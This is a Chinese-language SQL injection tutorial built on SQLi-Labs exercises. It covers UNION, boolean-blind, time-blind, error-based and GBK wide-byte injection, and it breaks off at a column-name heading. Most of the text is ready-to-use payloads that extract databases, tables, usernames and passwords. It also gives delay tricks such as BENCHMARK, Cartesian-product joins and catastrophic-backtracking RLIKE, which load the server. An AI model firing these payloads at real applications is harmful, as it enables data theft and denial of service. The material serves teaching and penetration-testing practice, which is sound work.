SQL注入

发现注入点

主要通过手动测试,观察应用程序对恶意输入的反应:

  • 报错检测: 输入单引号 ',观察是否报错或异常。
  • 布尔盲注: 改变逻辑条件(如 OR 1=1 对比 OR 1=2),观察页面响应内容的差异。
  • 时间盲注: 注入时间延迟代码(如 SLEEP()),通过响应时间的长短判断漏洞。
  • 带外攻击 (OAST): 植入触发网络交互的代码(如 DNSLOG),通过外部服务器接收通信来验证漏洞。

虽然最常见于 SELECT 语句的 WHERE 子句中,但 任何 与数据库交互的地方都可能存在风险: 注入攻击是 Web 安全领域中一种最为常见的攻击方式。

XSS 本质上也是一种针对 HTML 的注入攻击。

注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件:

  • 用户能够控制输入
  • 原本程序要执行的代码,拼接了用户输入的数据。

UNION联合查询注入

union联合查询和报错注入,手工快去sqlmap

union的作用就是合并两个 select 语句查询的结果,并且两个查询结果的列数必须相同。

SQLi-Labs Less1

关键查询语句:sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

判断注入点

利用'​(单引号)或者"(双引号)来判断是否存在漏洞

1id=1

image

1id=1'

image

得到注入点为id

判断注入类型

根据前面输入的1'页面的结果,可以猜测出闭合方式为单引号

输入的 引号'被闭合了,但是没有闭合后面的引号,导致后面的引号报错了,尝试闭合:

1?id=1'%23

image

1?id=1'and '1'='1

image

页面返回正常,猜测正确,为字符型注入,闭合方式为单引号

获取列数

order by语句可以根据列数进行排序,因此该语句可以判断查询结果的列数

1?id=1'order by 1%23
2?id=1'order by 2%23
3?id=1'order by 3%23
4?id=1'order by 4%23

image

order by 4 报错,说明只有三列。

union联合查询

为什么先判断字段数才可再使用 union 联合查询?

后续使用union select进行联合查询时前后列数要保持一致。

获取回显位

1?id=-1'union select 1,2,3%23

image

得到第2和第3列是显示数据的地方。因此之后的查询语句要放到这两个位置上。

问:为什么使用select 1,2,3

答:简单高效

问:前面的id为为什么=-1

答:为了让后面的1,2,3显示在页面上。如果页面只显示一行数据的话,那么就会把id=1的内容显示出来,因此要构造前面查询不到的id,才显示后面的1,2,3

获取数据库

1?id=-1'union select 1,database(),@@version%23

image

获取全部的数据库:

1?id=-1'union select 1,schema_name,@@version from information_schema.schemata%23

image

使用group_concat拼接一下:

1?id=-1'union select 1,group_concat(schema_name),@@version from information_schema.schemata%23

image

默认显示1024个字节,如果超过,可以使用substr函数截取进行显示

1?id=-1'union select 1,substr(group_concat(schema_name),1,64),@@version from information_schema.schemata%23
2
3?id=-1'union select 1,substr(group_concat(schema_name),64,128),@@version from information_schema.schemata%23

image

获取表名

获取当前数据库的表名:

1select group_concat(table_name) from information_schema.tables where table_schema=database()
2
3?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

image

获取其他数据库的表:

1# 用引号
2group_concat(table_name) from information_schema.tables where table_schema='数据库名'
3
4# hex编码
5group_concat(table_name) from information_schema.tables where table_schema=0x776F6F79756E
6
7# hex解码
8group_concat(table_name) from information_schema.tables where table_schema=unhex(7365637572697479)

获取列名

获取当前数据库下users表的列名

1select group_concat(column_name) from information_schema.columns where table_name='users'
2
3?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

image

如果要查询其他数据库下表的列名:

1select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名';

获取数据

获取当前数据库users表的username数据:

1?id=-1'union select 1,username,3 from users%23

image

获取多个列:

1?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 from users%23

image

获取其他数据库下的数据:

1select group_concat(字段名) from 数据库名.表名
2
3?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 from webshop_db.users%23

image

盲注

建议直接使用sqlmap

盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

类似于无法开口说话的人,只能通过点头和摇头来告诉你答案的正确与否。

常用函数

函数 含义
length(s) 返回字符串s的长度
left(s,n) 返回字符串s的前n个字符
mid(s,n,len) 从字符串 s 的 start 位置截取长度为 length 的子字符串
substr(s,start,len) 从字符串 s 的 start 位置截取长度为 len 的子字符串
ascii(s) 返回字符串s的第一个字符的ascii码值
ord(s) 返回字符串s的第一个字符的ascii码值
if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
ifnull(expr1,expr2) 如果 expr1 不是NULL,返回 expr1,否则返回 expr2
limit start,len 从start位置截取len长度的字符,start从0开始
count() 统计
sleep(n) 睡眠n秒

布尔盲注

布尔(Boolean)是一种数据类型,通常是真和假两个值,进行布尔盲注入时实际上使用的是抽象的布尔概念,即通过页面返回正常(真)与不正常(假)判断注入是否成功。

判断布尔盲注

sqli-labs->Less-8

1?id=1
2?id=1'

image

image

发现页面无法进行显示 SQL 查询的数据,导致之前使用的显错注入就无法成功注入,并且页面只有两种类型,因此可猜测为布尔盲注,正常页面返回真,错误页面返回假。

判断闭合方式

1?id=1' and 1=1#
2?id=1' and 1=2#

image

image

得出为字符型闭合方式。

获取数据库

获取数据库长度

1?id=1' and length(database())=8%23

image

猜解数据库名字

使用ascii函数获取数据库每一个字符:

1?id=1' and ascii(substr(database(),1,1))=115%23
2?id=1' and ascii(substr(database(),2,1))=101%23
3?id=1' and ascii(substr(database(),3,1))=99%23
4?id=1' and ascii(substr(database(),4,1))=117%23
5?id=1' and ascii(substr(database(),5,1))=114%23
6?id=1' and ascii(substr(database(),6,1))=105%23
7?id=1' and ascii(substr(database(),7,1))=116%23
8?id=1' and ascii(substr(database(),8,1))=121%23

image

得到数据库:security

获取表

统计表个数

由于无法看到有多少个表,为了避免无效查询,所以先获取表的数量。

使用count()函数统计数据表中包含的记录行的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4%23

image

image

由此可以得知该数据库有四张表

获取表名长度

获取第一个表的长度:

1?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23

image

获取其他表的长度:

1?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6%23
2
3?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6%23
4
5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=6%23

获取表名

使用ascii函数获取第一个表名每一个字符:

1?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
2
3?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
4
5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97%23
6
7?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=105%23
8
9?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=108%23
10
11?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=115%23

image

成功得到第一个表名:emails

获取其他表名,只需要更改limit函数参数即可。

获取列

统计列的个数

由于无法看到有多少列,为了避免无效查询,所以先获取列的数量。

使用count()函数统计数据表中包含的记录列的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and (select (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2)%23

image

image

成功得到当前数据库下emails表中有两列值

获取列名长度

获取第一个表的长度:

1?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))=2%23

image

获取第二个表的长度:

1?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1))=8%23

image

获取列名

使用ascii函数获取第一个列名每一个字符:

1?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105)%23
2
3?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),2,1))=100)%23

image

得到第一个列名:id

获取第二个表的列名,只需要更改limit函数的参数即可。

获取数据

经过上述查询,已经得到:

1数据库:security
2表:emails
3列:id,email_id

统计记录行

由于无法看到有多少行的数据,为了避免无效查询,所以先获取数据的行数。

1?id=1' and (select count(id) from emails)=8%23

image

因此得到有8行的数据

获取数据长度

获取第一行emild_id数据的长度:

1?id=1' and length((select email_id from emails limit 0,1))=16%23

image

得到第一行email_id的长度是16位

获取第二行emild_id数据的长度:

1?id=1' and length((select email_id from emails limit 1,1))=16%23

获取数据内容

使用ascii函数获取数据的详细内容:

1?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1))=68%23

image

得到数据的第一位为:D

然后就是更改substr函数的参数,挨个字符进行测试。

获取第二行的数据时,只需要更改limit的参数即可。

时间盲注

在页面中,不管用户输入什么,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况可以利用页面响应的时间来判断SQL语句有没有在目标数据中得到执行。

特殊延迟方法

除了常用函数提到的sleep可以造成页面的延迟,还有以下几种特殊方法可以造成延迟。

BENCHMARK

1benchmark(count,expr);

用于基准测试函数的性能,参数一为运算次数,参数二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。

1and if(ascii(substr(database(),1,1))>115,BENCHMARK(10000000000,md5(233)),1)

这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() 函数进行注入。

笛卡尔积延迟法

笛卡尔积延迟法是一种通过构造 “笛卡尔积查询” 触发数据库性能消耗,从而产生可控时间延迟的注入技巧。其核心逻辑是利用笛卡尔积对大数据量的 “暴力关联计算” 特性,让数据库执行耗时操作,以此替代 sleep()​/benchmark() 等直接延迟函数(当这类函数被禁用时尤其有效)。

什么是笛卡尔积

笛卡尔积是数据库中多表关联查询的一种特殊情况 —— 当两张表关联时不指定任何关联条件,数据库会将表 A 的每一行与表 B 的每一行强制匹配,生成 “表 A 行数 × 表 B 行数” 的结果集。

例如:

  • 表 A(users)有 1000 行数据;
  • 表 B(orders)有 2000 行数据;
  • 执行 select * from users, orders;​(无关联条件的笛卡尔积),会生成 1000×2000=2,000,000 行结果。

由于结果集规模呈 “乘积级” 膨胀,数据库需要消耗大量 CPU 和内存进行计算,执行时间会显著变长—— 这正是笛卡尔积延迟法的核心原理。

示例:

1select count(*) from userA,userB;
2
3SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;
4
5select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f;
6
7if(2>1,延迟语句,1)

get_lock

1select get_lock('a',3);

条件:针对数据库连接的长连接有效。

php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库。

java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池。

GET_LOCK(锁名称, 超时时间):申请一个名为 “锁名称” 的独占锁,规则如下:

  • 若锁未被占用 → 申请成功,返回 1,且锁会一直持有(直到主动释放或会话结束)
  • 若锁已被占用 → 进入阻塞状态,直到超时时间到才返回 0(阻塞期间会产生延迟)
  • 超时时间设为 0​ → 不阻塞,直接返回 0(无延迟)

rlike

RLIKE​ 是 MySQL 中用于正则表达式匹配的运算符,语法为 字符串 RLIKE 正则模式

  • 若字符串符合正则模式 → 返回 1(匹配成功)
  • 若不符合 → 返回 0(匹配失败)
  • 关键特性:复杂正则模式(如嵌套重复、回溯多的模式,或者大量的匹配规则)会消耗更多 CPU,导致匹配耗时变长(这是延迟的核心来源)
参数 调整方式 对延时的影响
目标字符串长度 增加 'a' 的数量(如从 10 个→50 个) 长度越长,回溯次数越多,延时越久
正则嵌套层数 (a+)+b​→((a+)+)+b 嵌套越多,匹配逻辑越复杂,延时越久
正则匹配次数 增加 and 'a...' RLIKE ... 的次数 次数越多,总耗时 = 单次 × 次数

基础延时正则:单条复杂正则(耗时 1-3 秒)。若密码第 1 位是 't',MySQL 需对 30 个 'a' 的字符串执行 (a+)+b 匹配,回溯次数极多,耗时约 2-3 秒;若不是 't',仅执行 'a' RLIKE 'a'(耗时 < 10ms)。

1-- 注入逻辑:若密码第1位是't'(ASCII=116),则执行复杂正则(延时);否则不执行
2username=admin' and (
3  -- 1. 条件判断:管理员密码第1位是否为't'(char(116)即't')
4  substr((select password from admin limit 1), 1, 1) = char(116)
5  -- 2. 条件成立时:执行触发灾难性回溯的正则(长字符串+复杂模式)
6  and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  -- 30个'a'的长字符串(越长延时越久)
7  RLIKE '(a+)+b'  -- 嵌套重复正则,无匹配结果时触发大量回溯(耗时)
8  -- 3. 条件不成立时:执行简单匹配(无延时)
9  or 'a' RLIKE 'a'
10)

强化延时:多轮正则重复匹配(耗时 5-10 秒)。通过 REPEAT() 函数生成 “多轮重复的正则匹配语句”,进一步放大耗时,10 次复杂正则匹配叠加,总耗时约 5-10 秒。

1-- 注入逻辑:条件成立时,执行10次复杂正则匹配(总延时=单次延时×10)
2username=admin' and (
3  substr((select password from admin limit 1), 1, 1) = char(116)
4  -- 用REPEAT()生成10次复杂正则匹配(每次匹配30个'a')
5  and (select count(*) from (
6    select 1 from information_schema.tables where 
7      'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RLIKE '(a+)+b'  -- 第1次匹配
8      and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RLIKE '(a+)+b'  -- 第2次匹配
9      and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RLIKE '(a+)+b'  -- 第3次匹配
10      -- 可继续增加到10次或更多,放大延时
11  ) as t) > 0
12  or 1=1
13) --

极端延时:超长字符串 + 多嵌套正则。增加字符串长度(如 50 个 'a')并使用更复杂的嵌套正则(如 ((a+)+)+b),50 个 'a' + 三层嵌套正则,单次匹配耗时可达 5-8 秒。

1username=admin' and (
2  substr((select password from admin limit 1), 1, 1) = char(116)
3  and 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  -- 50个'a'
4  RLIKE '((a+)+)+b'  -- 三层嵌套重复,回溯量更大
5  or 1=1
6) --

判断时间盲注

sqli-labs->Less-9

1?id=1
2?id=-1
3?id=1'
4?id=1'#

image

不管输入什么内容,页面都显示一样,没有差别,此时可以利用延时函数进行测试

1?id=1 and sleep(3)%23

image

1?id=1' and sleep(3)%23

image

由此确定是时间盲注,闭合方式为字符型。

之后的注入命令和布尔盲注类似,就是多加一个if函数。

获取数据库

获取数据库长度

1?id=1' and if(length(database())=8,sleep(3),1)%23

猜解数据库名字

使用ascii函数和延迟函数获取数据库每一个字符:

1?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)%23
2?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)%23
3?id=1' and if(ascii(substr(database(),3,1))=99,sleep(3),1)%23
4?id=1' and if(ascii(substr(database(),4,1))=117,sleep(3),1)%23
5?id=1' and if(ascii(substr(database(),5,1))=114,sleep(3),1)%23
6?id=1' and if(ascii(substr(database(),6,1))=105,sleep(3),1)%23
7?id=1' and if(ascii(substr(database(),7,1))=116,sleep(3),1)%23
8?id=1' and if(ascii(substr(database(),8,1))=121,sleep(3),1)%23

获取表

统计表个数

由于无法看到有多少个表,为了避免无效查询,所以先获取表的数量。

使用count()函数统计数据表中包含的记录行的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)%23

image

由此得出当前数据库中有4张表

获取表名长度

获取第一个表的长度:

1?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),1)%23

image

获取其他表的长度:

1?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6,sleep(3),1)%23
2
3?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6,sleep(3),1)%23
4
5?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=6,sleep(3),1)%23

获取表名

使用ascii函数和延迟函数获取第一个表名每一个字符:

1?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),1)%23
2
3?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109,sleep(3),1)%23
4
5?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97,sleep(3),1)%23
6
7?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=105,sleep(3),1)%23
8
9?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=108,sleep(3),1)%23
10
11?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=115,sleep(3),1)%23

image

成功得到第一个表名:emails

获取其他表名,只需要更改limit函数参数即可。

获取列

统计列的个数

由于无法看到有多少列,为了避免无效查询,所以先获取列的数量。

使用count()函数统计数据表中包含的记录列的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and if((select (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2),sleep(3),1)%23

image

成功得到当前数据库下emails表中有两列值

获取列名长度

获取第一个表的长度:

1?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))=2,sleep(3),1)%23

image

获取第二个表的长度:

1?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1))=8,sleep(3),1)%23

image

获取列名

使用ascii函数获取第一个列名每一个字符:

1?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(3),1)%23
2
3?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),2,1))=100),sleep(3),1)%23

image

得到第一个列名:id

获取第二个表的列名,只需要更改limit函数的参数即可。

获取数据

经过上述查询,已经得到:

1数据库:security
2表:emails
3列:id,email_id

统计记录行

由于无法看到有多少行的数据,为了避免无效查询,所以先获取数据的行数。

1?id=1' and if((select count(id) from emails)=8,sleep(3),1)%23

image

因此得到有8行的数据

获取数据长度

获取第一行emild_id数据的长度:

1?id=1' and if(length((select email_id from emails limit 0,1))=16,sleep(3),1)%23

image

得到第一行email_id的长度是16位

获取第二行emild_id数据的长度:

1?id=1' and if(length((select email_id from emails limit 1,1))=16,sleep(3),1)%23

获取数据内容

使用ascii函数获取数据的详细内容:

1?id=1' and if(ascii(substr((select email_id from emails limit 0,1),1,1))=68,sleep(3),1)%23

image

得到数据的第一位为:D

然后就是更改substr函数的参数,挨个字符进行测试。

获取第二行的数据时,只需要更改limit的参数即可。

报错注入

sqli-labs->Less-5

报错注入是SQL注入的一种,页面上没有显示位,但是会输出SQL语句执行错误信息。报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面的情况下比较好用。

原理

由于开发人员在开发程序时使用了print_r()​,mysql_error()​,mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以人为地使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息。

报错注入利用条件是网站开启了 SQL 报错日志功能,否则无法使用报错注入,具有一定的局限性。

首先打印错误日志是关键,接着利用mysql特性bug通过报错带出我们的注入的结果。

利用了 MySQL 的第 8652 号 Bug:MySQL Bugs: #8652: group by part of rand() returns duplicate key error,来进行的盲注,使得 MySQL 由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果

常用函数

可以导致报错的函数mysql支持十多种,这里重点学习利用xml报错的两个函数。

mysql5.1.5开始提供两个用于XML查询和修改的函数,通过XML函数进行报错,来进行注入。

updatexml()

用于更新 XML 文档中的特定元素。适用版本是:MySQL 5.1.5+

1updatexml(xml_target, xpath_expr, new_xml)
2
3- xml_target:要替换的xml文档,类型:字符串型
4- xpath_expr:xpath路径,类型:字符串型
5- new_xml:要更新替换的内容,类型:字符串型
6- 这三个参数的类型必须都是字符串

命令:

1/*正常命令,以两个 // 开头的是正确的路径*/
2select updatexml(1,'//xml',3);
3
4/*当输入错误的路径时就会报错,注意路径开头必须是特殊的字符,mysql才会报错*/ 
5select updatexml(1,'xml',3);
6select updatexml(1,'~xml',3);

image

extractvalue()

从xml文档中提取元素

1extractvalue(xml,xpath)
2
3- xml:xml文档
4- xpath:xml文档路径

命令:

1/*正常命令,以两个 // 开头的是正确的路径*/
2select extractvalue(1,'//xml');
3
4/*当输入错误的路径时就会报错,注意路径开头必须是特殊的字符,mysql才会报错*/ 
5select extractvalue(1,'xml');
6select extractvalue(1,'~xml');

image

concat()

由于xpath的路径必须是一个字符串,如果是一个函数类型,报错会失败:

1select updatexml(1,'~database()',3);

image

语句出错,因为这里的select database()的结果不是一个符合类型的xml-path,不是字符串类型,所以需要将其转换成字符串类型。

使用concat()函数:

1concat(str1,str2....) 
2//将一个或多个字符串按顺序连接成一个新的字符串

构造新的命令:

1select updatexml(1,concat('~', (SELECT database())), 3);

image

成功带出数据库

group_concat()

由于concat()函数无法将多行合并为一行,如果查询的结果是多行数据,可以用group_concat()函数将多行数据合并到一行。

substr()

xpath报错的内容最多只有32个字符,超出的就不会显示。此时可以使用substr()这个函数截取显示。

1SUBSTR(str, pos, len)
2
3- str:要截取的字符串
4- pos:起始位置(从1开始计数)
5- len:要提取的字符数(可选)

比如:

1select updatexml(1, concat('~', (SELECT group_concat(schema_name) FROM information_schema.schemata)), 1);

image

1select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1,31)), 1);
2
3select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),32,31)), 1);
4
5select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),63,31)), 1);

image

报错带出库名

sqli-labs->Less-5 为例

1?id=1' union select updatexml(1,'~database()',3);--+
2?id=1' union select extractvalue(1,'~database()');--+

image

显示有语法错误,这是因为 database()​ 的结果不是一个有效的xpath路径,路径要求是字符串类型,可以使用 concat() 函数进行拼接成字符串。

1concat(str1,str2....) 
2//将一个或多个字符串按顺序连接成一个新的字符串

构造新的命令:

1?id=1' union select updatexml(1,concat('~',database()),3);--+
2?id=1' union select extractvalue(1,concat('~',database()));--+

image

如果是想要查询全部的数据库:

1?id=1' union select updatexml(1, concat('~', (SELECT schema_name FROM information_schema.schemata)), 1)--+

会发现语句报错

image

这是因为查询出来的数据包含多行,因此使用GROUP_CONCAT()函数将多行数据进行连接,变成一个字符串,构造新命令:

1?id=1' union select updatexml(1, concat('~', (SELECT group_concat(schema_name) FROM information_schema.schemata)), 1)--+

image

又发现一个问题:没显示完全,原因:updatexml()函数最长能显示报错的信息是32位。

使用就需要使用 substr() 函数进行内容长度的截取

1SUBSTR(str, pos, len)
2
3- str:要截取的字符串
4- pos:起始位置(从1开始计数)
5- len:要提取的字符数(可选)

进行构造新命令:

1?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1)), 1)--+
2?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1,31)), 1)--+
3?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),32)), 1)--+
4?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),32,31)), 1)--+
5
6?id=1' union select extractvalue(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1)))--+
7?id=1' and extractvalue(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1)))--+

报错带出表名

1?id=1' union select updatexml(1, concat('~', (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())), 1)--+
2?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),1)), 1)--+
3
4?id=1' union select extractvalue(1, concat('~', (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())))--+
5?id=1' and extractvalue(1, concat('~', (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())))--+

image

报错带出列名

1?id=1' union select updatexml(1, concat('~', (SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag_is_here')),3)--+
2
3?id=1' and extractvalue(1, concat('~', (SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag_is_here')))--+

image

报错带出数据

1?id=1' union select updatexml(1, concat('~', (select group_concat(flag) from flag_is_here)),3)--+
2?id=1' union select updatexml(1, concat('~', substr((select group_concat(flag) from flag_is_here),1)),3)--+
3?id=1' union select updatexml(1, concat('~', substr((select group_concat(flag) from flag_is_here),31)),3)--+
4
5?id=1' and extractvalue(1, concat('~', substr((select group_concat(flag) from flag_is_here),1)))--+

image

如果过滤了引号,可以使用十六进制表示法,将数据库名转为十六进制字符串,比如security的十六进制字符串为0x7365637572697479

宽字节注入

宽字节注入(Wide-Character Injection) 是一种 SQL 注入攻击形式,攻击者利用不同编码的字符(如GBK 或 UTF-8 编码)插入到应用程序的输入中,从而绕过某些安全过滤或检测机制。具体来说,攻击者通过使用“宽字符”(即多字节字符)来构造恶意输入,使得应用程序或数据库在处理这些输入时产生意外行为,进而导致 SQL 注入攻击的成功。

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,则称为宽字节。像GB2321、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两个字节。英文默认占一个字节,中文占两个字节。

原理

大多数的网站对于SQL注入都做了一定的防护,例如使用一些MySQL中转义的函数addslashes​、mysql_real_escape_string​、mysql_escape_string​等(还有一种是php配置文件 的magic_quote_gpc设置,不过PHP高版本已经移除此功能)。

addslashes()函数:返回在预定义字符之前添加反斜杠的字符串

magic_quotes_gpc选项​:对 POST、GET、Cookie 传入的数据进行转义处理,在输入数据的特殊字符如单引号、双引号、反斜线、NULL​等字符前加入转义字符\,在高版本 PHP 中(>=5.4.0)已经弃用。

mysql_real_escape_string()函数:函数转义 SQL 语句中使用的字符串中的特殊字符。

mysql_escape_string()函数:和mysql_real_escape_string()函数基本一致,差别在于不接受连接参数,也不管当前字符集设定。

宽字节注入指的是MySQL数据库在使用宽字节(如GBK)编码时,它会把两个字节的字符解析为一个汉字(前一个ascii码要大于128(比如%df​),才到汉字的范围)而不是两个英文字符,而且当我们输入'​时,MySQL会调用转义函数,将单引号变为\'​,其中\​的十六进制是5c​,MySQL的GBK编码,会认为%df%5c是一个宽字节,也就是運,从而使单引号闭合(逃逸),进行注入攻击。

%df​是GBK编码字符首字节对应0x81-0xfe​(129-239)部分(尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)),所以输入一个ascii大于128的都可以,转换是将其转换成16进制,比如:129转换0x81​,然后在前面加上%就是%81​(URL编码用百分号加字符的16进制编码表示字符),比如一些%df'%81'%82'%de' 等等(只有满足要求即可)

宽字节注入的本质是开发者设置数据库编码与代码(如php)编码为不同的编码格式从而导致。

字符编码:UTF-8 ,GBK,比如说UTF-16.

UTF-8:一个字符占用1-4个字节

UTF-16:一个字符占用4个字节

GBK:一个字符占用2个字节

ASCII: 一个字符占用1个字节。

GB18030,BIG5 GB2312:占用2个字节。

1正常情况:
21' and 1=1--+
31\' and 1=1--+
4
5宽字节注入:
61%df' and 1=1--+
71%df\' and 1=1--+
8%df%5c%27

SQL执行过程

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

    1使用每个数据字段的CHARACTER SET设定值;
    2若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
    3若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
    4若上述值不存在,则使用character_set_server设定值。
  3. 将操作结果从内部操作字符集转换为character_set_results。

    宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码
    数据变化的过程:

    1%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
    2用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

当这行代码mysql_query("SET NAMES gbk");在代码层被写入时,三个字符集(客户端、连接层、结果集)都是GBK编码。

注入示例

以sqli-labs->Less-32为例

输入1'​,addslashes函数将'​进行转义变为\',此时的单引号仅作为普通的字符。

1?id=1'

image

输入1%df'

image

addslashes​函数将'​进行转义变为\'​, \​ 即url里面的%5c​ , '​ 对应的url编码是%27​,那么也就是说,%df'​ 会被转义 %df%5c%27​ ,倘若mysql使用的编码也是GBK的话,就会认为“ %df%5c%27​ ”是一个宽字节。此时%df%5c​会进行结合(因为宽字节是占两个字节,且在汉字编码范围内两个编码为一个汉字)变成了一个汉字,单引号逃逸出来,从而绕过转义,SQL查询语句成功被改变了从而引起了报错。

其过程简化如下:

1%df%27===>(addslashes)===>转为16进制===> 0xdf0x5c0x27====>%df%5c%27====>(GBK)====>運'
2
3用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

接下来使用常规思路构造payload获取数据库名等

获取列数

11%df'order by 3--+

获取回显位

1-1%df'union select 1,2,3--+

image

获取库名

1-1%df' union select 1,database(),3 --+
2
3获取所有数据库
4-1%df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

image

获取表名

1-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

报错,因为,引号被转义

image

1-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(database())),3--+

image

获取列名

